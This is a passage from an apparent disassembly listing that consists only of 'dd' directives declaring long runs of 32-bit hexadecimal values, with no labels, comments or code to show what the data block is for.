		dd 0D6AE591Ah, 22126E4Ch, 258D713Dh, 92724D92h,	0FFFC7554h
		dd 0BC68E14Dh, 0A3A404A8h, 0C9BD0129h, 0F99401B2h, 0B24F0C15h
		dd 70F0BB5Eh, 315A52EEh, 0B12922C2h, 39020131h,	805BB51Ah
		dd 1E27839Dh, 622C0C9Ch, 6314C110h, 4038B33h, 0B2E1D0D1h
		dd 6126E7Bh, 58196715h,	2518BFB0h, 818022FDh, 8E2001EFh
		dd 2B60532Ah, 6A0AC5BDh, 0BBE8C089h, 23C7682h, 8061F91Bh
		dd 0E48604E1h, 0A324319h, 0F6C55EC9h, 146D2F57h, 0B20379C0h
		dd 0DB0A582Eh, 4D191111h, 0D858336h, 6FFBE42Ch,	13820045h
		dd 0AB1EDC57h, 615016AEh, 0B1390707h, 26807E25h, 5B534C88h
		dd 0F6816001h, 1BA18344h, 32D9086Ah, 85336101h,	0EAF2765h
		dd 190059B7h, 1861DBE9h, 903E674h, 759D339Ah, 6DB9C558h
		dd 0A2048700h, 82BC40h,	0AB3F1794h, 8A0F5079h, 0EAA6CF9Ch
		dd 661AA42Eh, 0DDAD400Ch, 81E59509h, 716EB300h,	0A24A5173h
		dd 2FBEDAACh, 0A3C8E85Fh, 1F6B03FFh, 0FD48357h,	0CFC7BE07h
		dd 20D9D962h, 252932F8h, 0D41220E8h, 586FE714h,	61C08616h
		dd 233B364h, 0FA566300h, 9D3CCA78h, 0F0C61FE2h,	9579C177h
		dd 6D585F3Ah, 4BB86Eh, 69C4B1FEh, 600BB2CEh, 0A0A2FA4Eh
		dd 8AE43800h, 0C8AB1049h, 0F9AE7201h, 2EE1BD03h, 0BB0FFACh
		dd 0EE730FADh, 0C8977D2h, 26407F7Ch, 1F713D08h,	0C08FB3E0h
		dd 5CFC498Eh, 3716BC43h, 4802E32Bh, 6860A564h, 8018AD8Ah
		dd 0EDAA5CE9h, 0AA70005Bh, 12667E34h, 0D3073DBh, 2E665C99h
		dd 2A01626Fh, 0D371CE26h, 0C2C7C9FAh, 604FDB44h, 0BF0011A3h
		dd 8DC2E6C3h, 50F50F2h,	81BE4094h, 2E5DB966h, 209D9B20h
		dd 8B190825h, 0F59960B5h, 3151A68Fh, 8C18ECB0h,	0C86BF705h
		dd 31C535B2h, 1F8015DBh, 22A18A2Ch, 0B46EAC02h,	2F0AE887h
		dd 0C85ADB20h, 0D70249EBh, 0F443050h, 9C034485h, 0C0BB476Bh
		dd 45665A31h, 1170B200h, 998D13E0h, 169B1C10h, 5264665Bh
		dd 18C42EC5h, 906C2560h, 817E8700h, 9C354CCFh, 4689043Eh
		dd 0C8820F04h, 5B24510Eh, 0BB07E496h, 31611771h, 0C062B585h
		dd 2F0F9175h, 972C5837h, 0AFB5BD12h, 40199630h,	0C7096806h
		dd 981E62C3h, 65B140h, 0C342690h, 6D67BA60h, 53C7DE5Fh
		dd 5F618008h, 38243481h, 1E7DC013h, 20E011E6h, 57038A92h
		dd 0F18ECECDh, 1AA275Dh, 0BF92A3EAh, 26DE4AF6h,	0F872BA1h
		dd 41A50DEh, 5E470E56h,	0BB4DFDC0h, 11873A49h, 729A789h
		dd 0FBA10D0Fh, 355B585Ah, 0DE9B3BDAh, 0A7BFE580h, 1802C70Bh
		dd 0D61F80EAh, 24297929h, 87B55269h, 0E3DD1480h, 1330C8C9h
		dd 0E2A4BFECh, 36DE0015h, 0AC908B13h, 0F5420034h, 1D48352Ah
		dd 615DE9C5h, 2F54BCB8h, 7DC09728h, 0BB133EA9h,	0BE05E789h
		dd 89CD85C7h, 51852028h, 979F510h, 37FD64E7h, 30DE13A1h
		dd 0E1BE65B5h, 7E45E909h, 5A00F6A0h, 3E991C9h, 12DED5A2h
		dd 4DD8A2Fh, 0C23F09AFh, 2C10C0Ch, 0C101CC44h, 0A8F50C98h
		dd 4C7EC90Eh, 0A1580325h, 36EBE7F3h, 64C036BBh,	0C6C23D87h
		dd 6829501Bh, 19182128h, 0A1011358h, 88201B57h,	889BC04Eh
		dd 0C9FC059Fh, 4D1CC193h, 0E17A3B06h, 160E1326h, 0D97B04AFh
		dd 79ADA703h, 0DA7DAD98h, 0F4AD94h, 74FEC470h, 0C52E477Fh
		dd 0D93109Dh, 2449E2CEh, 591C0A3Ch, 6169A79Fh, 820413B9h
		dd 892F6493h, 82474ABDh, 0D60A41B2h, 0FF7FF436h, 5912FD70h
		dd 0D08C9934h, 0F99D3C0Bh, 589630C1h, 1074F68Ah, 0D0C72728h
		dd 0E604D21Dh, 0B420E799h, 0B77B7D1h, 0E8BCAFA5h, 40E96090h
		dd 0D6127D00h, 0AB3CF8FAh, 0CF190144h, 99EDC475h, 46823FB0h
		dd 965F021Fh, 508A867Fh, 0EEF87808h, 0BA1299Dh,	8E0F42A1h
		dd 44958572h, 0F22F006Ah, 0F355904Ah, 210BBB4Bh, 415C3A9Fh
		dd 8C28FD7Eh, 8A71DB4Eh, 1C9A164h, 0A489CB30h, 5E4DC360h
		dd 25B67A30h, 0BCE500Eh, 0C48689DFh, 0EB139464h, 6CDD1FAFh
		dd 0D5A84379h, 0BD588F00h, 0A58BA6D3h, 0BF98077Bh, 61A1A012h
		dd 3A04C283h, 1403416Eh, 0D477406h, 10BBB19Dh, 20508985h
		dd 35DB8016h, 0BBC19304h, 0A73EB624h, 491C4A21h, 41D38A40h
		dd 0B895A19Dh, 99257816h, 0E421E722h, 714B6018h, 0EE1B2526h
		dd 2026DAE4h, 79004743h, 0C6084992h, 0CE0602FEh, 0D07C3611h
		dd 9512EA4Eh, 1CA6318Dh, 613114F2h, 462898F3h, 505325FEh
		dd 3600CB71h, 0E23D2B99h, 7AB63E26h, 2A7489AEh,	970F4295h
		dd 0E202856Eh, 0CD927595h, 38DA4D41h, 6F1528A0h, 9A137D20h
		dd 1F1442A0h, 102119D1h, 50F88525h, 1FBB6FC0h, 145C2E3Dh
		dd 0A3642563h, 0AFB65500h, 38BEB907h, 3AED2EF7h, 0E0DD3570h
		dd 0AB52A41Ah, 0D1884A6Dh, 87CB00C1h, 582D2F73h, 0FF0E3F4Bh
		dd 0D0E69A09h, 7F099D71h, 68707F53h, 2AAB017Ah,	8B73342Bh
		dd 5BB04AF9h, 9A1FC86Ah, 13EF4ED6h, 0A7128886h,	280F1740h
		dd 20A7DFBFh, 2400B11h,	0F6CDB464h, 0D03605BFh,	52EDD90Bh
		dd 1585103Dh, 0C6F51622h, 3F810F9Eh, 38F35E6Fh,	0A1F7815Eh
		dd 8AF0AB05h, 4AEE6062h, 0E923F23Eh, 47C17D17h,	545C804h
		dd 0E798221Ch, 0E9809D78h, 0FFF23844h, 3E6ECAh,	14CF82Ah
		dd 9E82B4Eh, 0C18BE27Eh, 947220F3h, 0AC059F30h,	2272BF19h
		dd 400A5650h, 1A42630Eh, 357FB200h, 0C154BD0Bh,	3B2D00F8h
		dd 922E4A38h, 8D5E3158h, 0E35F11A4h, 0C4291h, 1AB8B9E9h
		dd 1257BF0h, 6C107479h,	6FC2B3CDh, 6EBA3A94h, 0D86D00C8h
		dd 894C92BAh, 0CBF5698Dh, 4B12203h, 5FFCCB0Bh, 786CFB6Ah
		dd 5202496Ch, 721CA512h, 0C6CDE209h, 0DA6D95F8h, 0CA0BC1CFh
		dd 0FE23D24Dh, 0D883D00h, 15C9267Fh, 6535F901h,	0D11384DCh
		dd 3295CD40h, 26097161h
		dd 41554D9Dh, 385005C0h, 3856802Ah, 5BBA04DFh, 29EBF166h
		dd 5FF65BADh, 1A27DF3h,	4148A88Bh, 0A6966D95h, 0D415E4Bh
		dd 2F0E35DDh, 0FDBD2475h, 1116DEA8h, 0CAC4F0E6h, 29F7B552h
		dd 8EBADA4Bh, 83EF4116h, 0C87A2A79h, 70F298A2h,	9D807802h
		dd 71C9E7DEh, 0A028005Bh, 705737D8h, 54394C02h,	843C51ADh
		dd 358895A8h, 8BD113FFh, 8D26A2DAh, 6E7F49BEh, 0B6DA1D04h
		dd 51C5D49h, 0B8228D66h, 70015B02h, 7502A545h, 2CCB3822h
		dd 61506196h, 919005E2h, 61DD8A6Ah, 447267h, 8DD969C9h
		dd 9D765B77h, 0D8633C29h, 6F90062Bh, 1551458h, 6629AB0Fh
		dd 0DDF8FCBFh, 2C8C6E82h, 493EB9F9h, 0B941C7CDh, 383ACEE9h
		dd 32429F51h, 0E8AC7B4Dh, 0B5311C09h, 0F67EF4B9h, 0B9487528h
		dd 2AAA300h, 2BA06374h,	0BFE95D9Dh, 1A41DD4Bh, 76C1C0B4h
		dd 9DBDD2D4h, 0CF318210h, 8A321D00h, 8554FF7h, 0B6FFE82h
		dd 5B6DE461h, 87BDE700h, 0CBEC4AF6h, 57A65E05h,	0CC4E9001h
		dd 0E89BB450h, 0EB028C19h, 772531C0h, 40005603h, 29D72894h
		dd 0A52530E4h, 4E8FB72h, 0E8CE6615h, 3CB9D67Dh,	0E2092BE8h
		dd 1BC0B794h, 0B949F0F3h, 99E60ED8h, 7FDF25BBh,	43CCF0ADh
		dd 915BD10h, 0F304E058h, 0E943B2D3h, 7EF992C0h,	9E1273B8h
		dd 8C8860C6h, 0A32700CEh, 574D4182h, 4C9F07A6h,	81BD3D7Ah
		dd 2B9D6140h, 4F156FEAh, 9646F1E0h, 919529AEh, 0C17B6A51h
		dd 71CB97Fh, 53AAB574h,	258104F1h, 4101426h, 2B562F92h
		dd 1F84FDE9h, 0E6BF0001h, 9D37DDB0h, 0C5BDFB01h, 4A0F0805h
		dd 609D458Dh, 85970353h, 0E10112A5h, 0BB6671E4h, 483B8676h
		dd 5DACF209h, 74B1F91Ah, 8FAF3F0Ah, 6D400E71h, 0C5615Eh
		dd 7144C325h, 80A7FEC9h, 14CF320Ah, 0E9C2ADBAh,	0B00C0B04h
		dd 155E11ACh, 0F223C7C8h, 0D2469FE5h, 2A40F5BCh, 2C8923D2h
		dd 10D03310h, 2B5B091Ah, 819D4C8h, 0BF002A99h, 1EC1404Ch
		dd 0D18B3061h, 2B91851Eh, 0A0E18180h, 134952A9h, 337BE961h
		dd 8592DE8Ah, 182CCF4h,	0E4319D95h, 6076B04h, 0AA017109h
		dd 3B5F7C30h, 8C1E3648h, 0E80B53E9h, 1780844h, 6A767FDDh
		dd 2A1FBA2Fh, 36EBB0C0h, 8529095Fh, 19D41D25h, 0B19B7E0h
		dd 3171279Dh, 2345426Ch, 90D34687h, 2A5E570h, 870FFE1Ch
		dd 0D6697A5Eh, 8237A8E0h, 0C144746Dh, 3960C920h, 0FD65BD40h
		dd 0E919173Ah, 0A4A7C0AEh, 47F70C0h, 6AB97D63h,	0D37ABB08h
		dd 0C84A9317h, 6000237Ch, 65E11C62h, 0F81EBC0h,	2C7D02BDh
		dd 0F14D580h, 0C197DABFh, 1E36FCE2h, 0EAF92BF3h, 32DB7AFCh
		dd 4BDB2B80h, 0C7748450h, 78630C17h, 0C315360Ah, 0B897F7A4h
		dd 1CFC55ECh, 7A9CFC8Ch, 0E0E90EEAh, 60C5D2BBh,	0F9FD12F9h
		dd 80610393h, 0FC2B55E3h, 3C5FA88Ch, 2AF635Eh, 94173D8h
		dd 0DA1076EEh, 19C49065h, 0BECB9260h, 99DD5A01h, 2A499531h
		dd 80FD9E6Bh, 6FFF35BBh, 0D6EA139Eh, 915104C2h,	880D0521h
		dd 0ACB4B5E7h, 9AFF810Ch, 883A547Ch, 4372B078h,	0C2E1C305h
		dd 0B4A3A0EEh, 35133D48h, 48F4A705h, 1AB1103Ah,	0FB45F827h
		dd 0B7EDE269h, 14B8755h, 0DAF3E0D3h, 2D4EB657h,	5438E38Ah
		dd 0A0FCE75Bh, 12124506h, 3579F64Eh, 0F168045Ah, 0D3BBE907h
		dd 0EFB8D9A9h, 0FFAF9202h, 74DA8BE1h, 4C850B0h,	19F43381h
		dd 921C9D2Fh, 7927D069h, 358D446Ch, 4CA851FDh, 2D60D400h
		dd 0DA614D73h, 5D9D1003h, 67562C24h, 5F131790h,	0B882A960h
		dd 0A4F4031Ch, 0B42FC4FFh, 3C93F2CCh, 1B7C803Ch, 8CB136FCh
		dd 53A50033h, 212DEE99h, 99D9AD1h, 0C0F36D9Fh, 0B1F9096Ch
		dd 0ADC84D67h, 0BDE22578h, 8FDF202h, 8164BD74h,	0EEA1604Eh
		dd 84B34A03h, 61E2D430h, 0A6D238B9h, 33B1A038h,	5D4FAB8h
		dd 558F0858h, 17F2C8h, 94A8F99Eh, 98FC25h, 0A66BA53Bh
		dd 70F51053h, 0A6779A24h, 0D15FD809h, 4389AE9Dh, 6F8043C0h
		dd 42000349h, 0FC79DD7Ah, 0B3DEBECh, 0BE217022h, 40085004h
		dd 0CAEDC7C6h, 0AFB0121Fh, 0F8F68851h, 9B9ABC00h, 9E2DED10h
		dd 3D579D8h, 6F3EC741h,	5F8A5B51h, 81183DFDh, 7C71E170h
		dd 0DD33FCF5h, 712BB825h, 4ACE20EFh, 4BE5A9ADh,	10F285F6h
		dd 0B1C300F5h, 9DFC533Ah, 0B322CF14h, 84117285h, 448C0F2Fh
		dd 0E1A97CDAh, 557B4BFCh, 0F8ED3A73h, 0DCDE54DEh, 0A20ADC0Ah
		dd 0F812E816h, 800933E3h, 6BD18BCBh, 24E9FC82h,	0C4BD5D02h
		dd 0B5129C39h, 6A4EDE82h, 95187F17h, 6ABD8D31h,	0D1928451h
		dd 742FDDA1h, 0A8AEB979h, 0D323093Ch, 77D1358Ch, 13C9B7A5h
		dd 4F75A3E3h, 300C106Eh, 85268D8Fh, 0EAA5C09Ch,	4DBD5799h
		dd 0D5CC605h, 0AA9234AEh, 3B2BC708h, 0D780137Bh, 0EC1E6497h
		dd 1C9B804Ch, 0E83B41A8h, 7AFA0948h, 40D28225h,	8F8A8373h
		dd 504C2351h, 8CB48960h, 0E6CBAE4h, 0EB8A613Ah,	0A614C577h
		dd 0F409E0EEh, 1235B833h, 0B1A9BCFDh, 6B312F42h, 68E4EB80h
		dd 956F022Ch, 81D88BCAh, 94D3FF40h, 0D0358926h,	0D0DA0FDEh
		dd 0A7D3252Ch, 12B65A25h, 0A3867FA0h, 2C015374h, 0EC1B4CEAh
		dd 0D71013E8h, 4D0077EFh, 0ADE6A43Dh, 724BA5DBh, 0A861132Ah
		dd 2558A86Ch, 257E4460h, 0E35671F3h, 6A9A8580h,	9C81CBBh
		dd 7F013F0Dh, 2941BB50h, 391B52Ah, 0E7A7D39Dh, 27A7FCAh
		dd 0F090DA0Bh, 0EB008D05h, 0E4A752DCh, 256D5Bh,	0A661A1BBh
		dd 0D6B83779h, 277DBF1Fh, 4E9027BDh, 66B5B541h,	0E4604230h
		dd 0B59D3101h, 0DD23614Bh, 2F832551h, 4B500C2Ch, 34EC8A5Fh
		dd 0EFED1F58h, 98241BB8h, 311D9010h, 698527A2h,	2A44D9C9h
		dd 0DDB02FA7h, 2E093A5Ah, 74E13742h, 2A150861h,	7429E725h
		dd 12CCB595h, 88FBF22Dh, 1A467EFFh, 16D99000h, 8E5E70F9h
		dd 0D0620391h, 0F4FCDE03h, 6A3DA625h, 0F492F620h, 3B269100h
		dd 0CC9A6FBBh, 811401F5h, 0EEECA6D7h, 2A753A6Bh, 0E8808BDAh
		dd 0EFED6ABCh, 643D8D17h, 414E78BCh, 8E3214C5h,	89672F49h
		dd 27E8F974h, 89E929CFh, 965EAED8h, 9981830Bh, 477FB82Dh
		dd 427EBBCBh, 94F20BF5h, 8B4504DFh, 13BB96DAh, 0A6535276h
		dd 3019B2BDh, 0E07C6C55h, 0F9C7282Fh, 94F92F8Fh, 0B515EE25h
		dd 0EF002435h, 30EAA87Fh, 9D1C1CDEh, 8D098202h,	0C5742701h
		dd 0C5DB4DE9h, 5078085h, 3A9D8F83h, 0D483DC40h,	27823839h
		dd 963F462Bh, 99F66986h, 7CD08h, 0E1D8A0BBh, 0B9D616Eh
		dd 9FA461Dh, 2531BD01h,	0F72602D1h, 92111260h, 70DC0191h
		dd 0B8A5B69Bh, 0F343AF6h, 19248885h, 0ADD7F1B8h, 627B8F7h
		dd 28CA9C5Ch, 817A423Dh, 0D366D009h, 0D0243264h, 6D9CBC12h
		dd 0A2D06AF0h, 4807B796h, 1C34FD50h, 4160AA61h,	1DD3BE22h
		dd 806BC139h, 0D4D8679Eh, 0E0093A0Ch, 115BABE2h, 0C769966Bh
		dd 0B1BB37B8h, 99BD2902h, 508A7622h, 0C28B0E88h, 0A613D789h
		dd 0A5A59DB3h, 0E0712E1Ch, 2D0F2491h, 0DB7CD33Bh, 0E60F5A80h
		dd 1F381604h, 7EFF1DEh,	0C1DD292Bh, 2096D9B7h, 13B8F02Eh
		dd 33F01F90h, 2379BD12h, 0A039F639h, 432E42A8h,	4908550Ah
		dd 48712505h, 0ED25E3ACh, 6214640Fh, 919A7718h,	0BC45BB04h
		dd 0BEB64ADBh, 1AACF949h, 9794018Ch, 4AC1364Ch,	4B5A230Dh
		dd 0CEE21BD5h, 4341A000h, 0ADAAB493h, 4DD4D704h, 29E8902Ch
		dd 5BA22EA2h, 0A7424CDh, 0CEB852E5h, 80BBED97h,	0CB8056B9h
		dd 5B9116D4h, 8079BDC6h, 79785F1Ah, 0CBAB4BC1h,	0EDDB4FF3h
		dd 0E4E80182h, 5F06EE55h
		dd 841F6DFh, 507959Dh, 0BAF334E9h, 0D94C757Ah, 729BAC00h
		dd 9749AB6Fh, 851A31E6h, 0E86130E5h, 1E6380AFh,	8084824Ch
		dd 42768758h, 0BA03222Fh, 9BC6CF94h, 0D98AC0BCh, 0DBC14F8Bh
		dd 0AD3480B3h, 0F0F4E831h, 0F92C27DEh, 19F3C46h, 90310848h
		dd 53B70A3Bh, 0D5EE60C8h, 980B88F2h, 6D905BF7h,	0C42C0FBh
		dd 45021DC8h, 4DBD3127h, 0FF1120Ah, 0FBB59500h,	69533B3Eh
		dd 32021C57h, 0B40C1939h, 61432D3Dh, 6E807759h,	0CD0F0765h
		dd 0E07E09F6h, 2DC006C6h, 8804612Bh, 3B80E621h,	10BDCBCh
		dd 4BE0AD95h, 0DC4F8A50h, 0F76FC516h, 9750D407h, 0F0EB7278h
		dd 9940497Ch, 1EFDD68h,	2FC9D0BDh, 396A5423h, 5C3DBCE1h
		dd 1911CA29h, 61A94B5Dh, 0E802B1B8h, 36BF6674h,	5E026270h
		dd 4036A1Dh, 0BD1DEEC3h, 0DF6BD2FDh, 0BEC93100h, 22EF5C48h
		dd 7E6CFA25h, 0ADD192D4h, 97B0B8F9h, 6F45F794h,	2637097Bh
		dd 0CDADD779h, 405B40A7h, 905B02B3h, 8D0FA9C1h,	0F979F733h
		dd 94B82169h, 0E277CE00h, 79CACFE8h, 0AD8D1789h, 7815D722h
		dd 29C022ACh, 802A0D85h, 9C9750E9h, 434721A8h, 1F6EB525h
		dd 0A9804B1Dh, 0D8E18264h, 4F007FACh, 6957B6CDh, 29145CFh
		dd 0C799DA2Dh, 37D7F506h, 885D022Bh, 89FDCB2Dh,	8EB2713Dh
		dd 0A0A1DF81h, 42903446h, 54290CBAh, 888A6FD5h,	0BB500052h
		dd 4DD7CBAh, 23B6905Bh,	680680E0h, 6D18A000h, 28A29CB4h
		dd 0ED9D100Bh, 0D88A122Bh, 800980F6h, 3F78D2CFh, 38A3F97h
		dd 0D2059E50h, 605126F0h, 0D60B8D90h, 229D958Bh, 5E5B61A3h
		dd 0F4B5EB33h, 0A9831F00h, 2E397B64h, 0AC9BFF6Ah, 8522D26h
		dd 0F5782393h, 899124DAh, 621910C7h, 5D07850Ch,	2A204694h
		dd 93BB0201h, 0B06D71DBh, 8C825F7Ch, 7C70E630h,	112103Ah
		dd 0B52971E4h, 0B32B029Dh, 490632BEh, 0F589DD89h, 889F4071h
		dd 0C9F84BA2h, 80C86C2Dh, 0B3799AEAh, 0F92D27B6h, 8B85D17Bh
		dd 0AD815BFAh, 0C82E80B7h, 684FE55h, 71E0D781h,	8A706E2Bh
		dd 0C7D18B88h, 42E7F71Eh, 62D9B4E9h, 1F1F4508h,	7442850h
		dd 0AB1C4CE5h, 0F0EAE7E4h, 0D27D8018h, 0F4976C0Bh, 0DE9E895Fh
		dd 0F056B0DAh, 144B2084h, 45C76DB4h, 2FD94C44h,	9B0A2700h
		dd 39D93DE0h, 6926009Fh, 657C8148h, 684B9EBDh, 111148D2h
		dd 7E98155Fh, 218D1001h, 34F35B04h, 104FC24Ah, 3EC4395Eh
		dd 7BC0F9BDh, 98F35457h, 95187801h, 7F960953h, 28371ACCh
		dd 4A29A583h, 0F3A3C8FEh, 4074A900h, 0E4351E5Eh, 82955289h
		dd 80C54158h, 2087EE8Ch, 5547BD9h, 0BE60D2FFh, 2E00F56Fh
		dd 5CA1FC9Ch, 0AB77976h, 6A966347h, 0BCBC50FDh,	9582EF1Ch
		dd 62774E41h, 934C10D9h, 0BBF000DAh, 0C8B550C2h, 4702CCACh
		dd 0B65BB715h, 0B2BA5D65h, 433575h, 848EBF0Dh, 0F3940B88h
		dd 8FEB905h, 317ABBh, 9D4A319Fh, 9CACDF10h, 0B2336725h
		dd 46DA241Dh, 970AE520h, 0F5FBAF0Bh, 0D4FEE873h, 0AD3EA9Ah
		dd 0FC3AB3ACh, 1307DEEEh, 6BA6B369h, 72E89B42h,	82D3006Eh
		dd 5C2EEC91h, 0CE0028D5h, 0FF4C8E83h, 975FF5FCh, 2147F36Fh
		dd 8BFCAFB5h, 1DC0D4D4h, 5829BEB8h, 0DD00DFF8h,	9AC5744Ch
		dd 1668C42Ah, 4A2B65Eh,	122BEDFAh, 0A75A10ECh, 1FEDA0B1h
		dd 7EE7017Dh, 0F380F867h, 0E33D2F0Ah, 0D42DE403h, 0E9399BDh
		dd 0A124F1CCh, 7AE8F53Dh, 0F3E807Ah, 4C95E302h,	8A5E64C4h
		dd 0C2844D6Bh, 38DC6BF3h, 0A1EC2712h, 1A09B7BCh, 0D2359509h
		dd 20BB12B6h, 8D8BF27Ch, 6F6B6A72h, 37CC0234h, 0D06BFA3Bh
		dd 73CF9741h, 0A0BDCF44h, 0A8A8EDD2h, 0DB5F0033h, 10AB71BBh
		dd 0E298FF3Dh, 2B759512h, 35E159ECh, 0C95A5B04h, 44BF7921h
		dd 0F5D85727h, 0CEA15F95h, 0D8861FBDh, 0F4727E65h, 0F33FAF00h
		dd 6881BC95h, 78469B60h, 0BF16D5ADh, 0C312F6D7h, 1483287h
		dd 5B1ECEBBh, 0B0122F32h, 5E80929Bh, 3CED79CCh,	0CFAFCE09h
		dd 71AE782Bh, 23F85C60h, 6107A45Fh, 917720F5h, 3BA8F197h
		dd 0E5C95FDAh, 2E30C1E9h, 1FB1E3A7h, 0AC6F7085h, 37E6C45Ah
		dd 23A5B538h, 0E3A67FDBh, 0D4638860h, 993E0969h, 0B1794CA3h
		dd 0EBC38081h, 7685090h, 0DA959980h, 9300BF31h,	0CAB4F3B0h
		dd 5F704D50h, 3396E90h,	5D639F9Ch, 41F2E8D7h, 0F561B52h
		dd 5F832589h, 0FB88828Dh, 6CB42559h, 3BAD0983h,	0E44E31ADh
		dd 0DC0968AAh, 58B1E3BFh, 442302D6h, 0DA8B4E3Bh, 29612C56h
		dd 523B758Dh, 0A8E9ADFCh, 0DB008C19h, 677F5403h, 27BD01A3h
		dd 544C3179h, 0DCDDEF04h, 0DABE1B1Ch, 0F0E90BEFh, 0F4BBDC01h
		dd 88EF6200h, 4703BC4Fh, 0D7504892h, 5FF31132h,	0E6F705Eh
		dd 352B79Dh, 6E5E56E3h,	99BB0527h, 2CEC6706h, 0BD3D1422h
		dd 0DAA7CB01h, 8DF24Ah,	0CD1E267Ah, 0EAB2130Fh,	0C61C5021h
		dd 4BF59A51h, 0B2EFA65Bh, 2FA93114h, 5AEB4804h,	9666A064h
		dd 0BD03600Dh, 4A2E6599h, 27708C43h, 0D540BD5Ch, 1A2A10Ah
		dd 3D2E8F7Bh, 6CA99707h, 965FC4F8h, 0ACA85485h,	54D3EBA0h
		dd 3F00B0FCh, 9A43D28Ah, 286C5B8h, 60506449h, 1AF498B3h
		dd 795144AFh, 24E40793h, 105ABE7Ch, 9966158h, 32DD8D12h
		dd 0F9B4C4E8h, 3A7A897h, 59A86408h, 0B39A090Ch,	2B558982h
		dd 0E10A6803h, 4F40129Fh, 0BD616056h, 0B75E6A09h, 800BF51Fh
		dd 8FE412h, 0BC7BF963h,	6C09598Fh, 5C823400h, 0DE07FE29h
		dd 27E2B0A9h, 1DD8E6EAh, 0F1A56421h, 26511816h,	455803Dh
		dd 0FA10870Fh, 0BE96F170h, 7DA1017Fh, 9D210149h, 3A90CD35h
		dd 0A5001C6Eh, 0F129392Bh, 585FD0E6h, 3CE84A88h, 101E6CACh
		dd 39F6800Bh, 2D1742CEh, 3D36F3h, 0BB61FA8Bh, 4B3C0B53h
		dd 145CB0Ah, 3D38CB81h,	282E2708h, 7CBC2546h, 9678ED47h
		dd 57E735h, 6D98EE8Ah, 5B3DCD34h, 10438224h, 0BD335F00h
		dd 0CE284BC5h, 6A3BF916h, 83940089h, 6822C58Ch,	1C94973Ch
		dd 19044524h, 8D77AFE0h, 0E6CE0055h, 648B8A7h, 0BF146660h
		dd 0B3C8BD4Bh, 8C434E24h, 5158575Fh, 0B5290F5Fh, 6EA6B245h
		dd 7A301BF2h, 9E82022Eh, 0C4C75C7h, 0E103A666h,	7A87CC6Ch
		dd 251DD820h, 88504AEBh, 9D00DF10h, 5EBF86D3h, 4790643h
		dd 5B6DC0D7h, 0CB1DBC5Fh, 5451F9h, 2FEAA87h, 0F774C780h
		dd 33C57F00h, 0BA60CB0Ch, 8CE64BCAh, 8509BB6Bh,	79433DE5h
		dd 2F9BA008h, 0B2106B59h, 1B07FA4Bh, 9EDEA242h,	963C5571h
		dd 204EDE6Ch, 0C934091Eh, 0C392FB1Fh, 0FC8529C9h, 8609789h
		dd 9A488012h, 54B9BD12h, 9B3612Bh, 0F6E022B3h, 1A97070Eh
		dd 851741F3h, 0F79D3752h, 275F35A5h, 0B671B96Bh, 713AB389h
		dd 0F1CDEB99h, 25452BC0h, 0A4170943h, 0AF7085F0h, 0C05CCD97h
		dd 784C015Ah, 8FA9DC00h, 0EB810CECh, 9C9F46Ah, 0DEB70F17h
		dd 0FC4AD070h, 9A4BD0F7h, 0EB98079h, 5C8D434h, 3C782CD5h
		dd 0BDEC22Bh, 0A4136025h, 0C14CCEF9h, 0E1614412h, 97B2AF1h
		dd 0C0BFE800h, 9CDB589h, 0B117E6B9h, 0F0692FF5h, 6904A7BCh
		dd 0DDA6CD3Fh, 0CDEDD584h, 4200BDF8h, 4C6E54E4h, 4AAFBA5Fh
		dd 2278A8BBh, 91BD2D05h, 0DFFC2AE2h, 1C46D6h, 6A36571Dh
		dd 0FC12136Fh, 0D862F771h, 0BCD98B12h, 0B26F93ABh, 8D2B3C39h
		dd 35C0318Bh, 0E9D2E07h, 8472DB6Bh, 45BC1DEFh, 0EA8433A3h
		dd 0A693DD9Eh, 0EF660195h, 96D8BF0Fh, 0D7E2E53Bh, 1981C613h
		dd 1523CF7Ah, 2BF15801h, 538499BDh, 0A8B99D29h,	3A8A4B19h
		dd 51929FA2h, 944082FCh
		dd 4C06F41h, 7B0BCB95h,	0D211BCF6h, 73BC01ADh, 0FB8B0C1Fh
		dd 49BD0984h, 38BBC9A0h, 7254517h, 74132CE5h, 12ECF5F9h
		dd 58568825h, 5B3140E0h, 21750EC4h, 0FDD251BDh,	163CB843h
		dd 30D0C1FCh, 841F3E8Ah, 0A39A3400h, 0C2D7DB87h, 23CE0BD4h
		dd 8DAA6DBDh, 0B48312A2h, 614B6028h, 72B97DD4h,	3E8C15ECh
		dd 0F381711Bh, 60A85B8h, 625EC2E9h, 19228120h, 9BC15F2Bh
		dd 0AFCF805Fh, 5892D06h, 49DF13CAh, 559A8193h, 669D2E0Ch
		dd 70346E6Bh, 0B368BF05h, 1D038E0Fh, 0B92ED780h, 883CD99Dh
		dd 3564902Dh, 7FA85A0Fh, 0E41D0C6Bh, 0AE390016h, 9832CB76h
		dd 0BF0250A1h, 11708943h, 700C4A90h, 0F76FB7A3h, 4FF84E43h
		dd 0AC7C73Ah, 0D75F1F7Eh, 0E17E1261h, 0DCF03E36h, 5DB5D621h
		dd 0CF712F4Dh, 2788200h, 1291C2Ah, 1F23A8BEh, 2FB8C213h
		dd 0D2A6C902h, 6045CF5Bh, 2FFFF5D9h, 0D8D6B927h, 0A539FCCh
		dd 0F99CD0h, 263002CEh,	0FED542D4h, 0D1DFA6C2h,	413A5D0Ch
		dd 1C8A3555h, 65058074h, 6AEF80ACh, 1429897h, 1F55259Dh
		dd 2C3CFE79h, 0C5A5DA05h, 2F861C0Bh, 0D2D016FBh, 36262562h
		dd 1201158h, 61F53111h,	8706ED76h, 60BF02E5h, 9047AA31h
		dd 58FA8AD4h, 1704CE53h, 0FA5E01DBh, 90D8F2D1h,	73CB6E6Bh
		dd 0AF631101h, 0E17E59CAh, 0A2DA4E93h, 0ED2D0097h, 8A03D168h
		dd 12FFB3BEh, 194E0457h, 0E95B0232h, 70225E8Fh,	0F805369h
		dd 82F8968Ch, 1CDA8060h, 0FCD974C1h, 1A9701B3h,	0EB045FDAh
		dd 30F290h, 0A387B05h, 606736h,	0A1BD22B8h, 0FBBE667Ah
		dd 505B86A0h, 1F0E7E96h, 6CE8B2C9h, 61CC8AC3h, 0B616908Bh
		dd 0BDE804A9h, 0ED3AF8A2h, 206AC136h, 0F4CBD578h, 0E5027026h
		dd 37BB66DAh, 31ED5F9Bh, 0C5601864h, 7B12DD9Ch,	17C0FC90h
		dd 4E6A27D0h, 879ADBFFh, 9001FEB8h, 0DA61F74Bh,	0FCB6D27Fh
		dd 16C4B35Ch, 46666049h, 71203F90h, 28B6021Fh, 0B1BD2961h
